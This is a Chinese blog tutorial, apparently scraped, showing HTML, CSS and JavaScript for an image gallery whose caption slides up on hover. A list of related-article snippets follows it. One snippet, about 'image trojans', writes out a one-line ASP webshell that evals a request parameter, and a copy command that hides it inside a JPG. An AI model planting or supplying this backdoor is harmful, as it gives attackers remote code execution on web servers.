图片展示的制作

在这里,我实现了在页面内进行图片展示,当鼠标移动到相应的图片上后,图片下方的文字介绍会上移,并完整显示,半透明的文字介绍会覆盖掉图片,当鼠标移开之后,文字又会回到原来的位置。

要实现这样的图片展示,我主要是通过改变文字介绍的top值来实现的。

在编码的过程中,我犯了一个错误,就是将js代码写在head标签内的时候并没有使用window.onload事件,导致页面功能受到影响。这样的情况,是因为没有保证页面加载完成。如果把这段js代码放在body结束标签前,就不会出错。

<!DOCTYPE html>
<html>
<head>
    <title>文字上移</title>
    <meta charset="utf-8">
    <style type="text/css">
    div{
        width:280px;
        height:290px;
        float:left;
        position:relative;
        overflow:hidden;
    }

    a{
        position:absolute;
        top:270px;
        left:0;
        display:block;
        text-decoration:none;
        font-size:18px;
        line-height: 20px;
        font-weight: bold;
        width:280px;
        height:290px;
        color:white;
        background: #000;
        opacity: 0.5;
        text-align: center;
    }
    </style>

    <script type="text/javascript">
    window.onload=function(){
    function showD(){
        var divs=document.getElementsByTagName("div");
        for(var i=0;i<divs.length;i++){
            divs[i].onmouseover=show;
            divs[i].onmouseout=unshow;
        }
    }
        function show(){
            this.getElementsByTagName("a")[0].style.top=0;
        }
        function unshow(){
            this.getElementsByTagName("a")[0].style.top=270+"px";
        }
        showD();
        }
    </script>
</head>
<body>

    <div id="box1">
            <img src="晋江封面.jpg">
            <a href="#">我的第一本小说<br/>
            在小说中描述了一段青梅竹马的故事
            </a>
    </div>
    <div id="box2">
        <img src="晋江封面.jpg">
            <a href="#">我的第一本小说<br/>
            在小说中描述了一段青梅竹马的故事
            </a>
    </div>

</body>
</html>
时间: 2025-01-12 14:07:42

图片展示的制作的相关文章

图片展示上移效果

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>图片展示显示详细说明和隐藏</tit

UIScrollView-大图片展示 与图片缩放 Demo

一 大图片展示 #import "MJViewController.h" @interface MJViewController () { UIScrollView *_scrollView;//方但全局调用定义成成员变量 } @end @implementation MJViewController - (void)viewDidLoad { [super viewDidLoad]; // 1.创建UIScrollView UIScrollView *scrollView = [[U

一句话图片木马的制作与使用方法

之前也写了个一句话木马的使用方法在回帖中有人提出问题如何在图片中插入一句话木马于是为了方便各位在此开一帖一句话图片木马的使用方法 第一种方法:利用copy命令详细操作为1.随便找一张图片 名字改成1.jpg(名字改为1.jpg只是为了方便记忆和输入 文件的后缀随意 只要是图片的格式就可以了)2.<%eval request("keio")%>           存为1.asp(就是一句话木马)3.copy 1.jpg /b + 1.asp /a 2.jpg      存为

JS实现有点炫的图片展示效果-图片解体和组合

经过4个月的努力学习,迎来了进入市场的最后一个学习项目.自己模仿了一个图片展示效果,用在了项目中,感觉挺炫的.在这里分享一下,希望大家喜欢~! bomb-showImg : 在线演示http://runjs.cn/detail/tl9quyke查看源码http://runjs.cn/code/tl9quyke HTML : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32

CSS3 实现六边形Div图片展示效果

效果图: 实现原理: 这个效果的主要css样式有: 1.>transform: rotate(120deg); 图片旋转 2.>overflow:hidden;  超出隐藏 3.>visibility: hidden;  也是隐藏,与display:none;相似,但不同的是,它虽然隐藏了,但依然会在网页中占有位置 我们要用到3层div进行旋转来得到这个效果(ps:3层div的大小是一样的). 最外层div(boxF)旋转120度.第二层(boxS)旋转-60度,第三层(boxT)再旋转

360图片展示特效

<doctype html> <head> <title>360图片展示特效</title> <style> *{margin:0;padding:0;} #imgList{ width:1000px; height:630px; /*background:#ff0033;*/ margin:50px auto 0px; } #imgList .top{ width:100%; height:207px; background:#ffff66;

CSS3实战开发:仿天猫首页图片展示动画特效实战开发

各位网友大家好,我是陌上花会开,人称陌陌.今天我带领大家开发一个仿天猫首页图片展示动画特效的案例.一如往常,我既不提供源码给大家,也不提供Demo给大家,只是希望大家能跟着我的讲解,然后将代码一步步复制到本地,本人可以保证,页面上的代码复制到本地,绝对百分百运行,且得到与陌陌一样的运行效果.我这么做只为激起大伙的动手能力,望大家能明白我的用心. 好了,不废话了,直接本篇的实战开发吧. 我们看一下我们今天要做的实战案例效果图: 1. 鼠标划过前: 2. 鼠标划过右侧的图片时: 可能大伙看这个静态截

调取系统相机、并将图片展示在ImageView上

+ ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85

一款基于jquery的手风琴图片展示效果

今天要给大家分享一款基于jquery的手风琴图片展示效果.这款图片的展示效果鼠标经过前是灰色的,当鼠标经过时图片变大且变为彩色.效果图如下: 在线预览   源码下载 实现的代码. html代码: <div class="page-container"> <div class="flex-container"> <div class="country netherlands"> <div> Nethe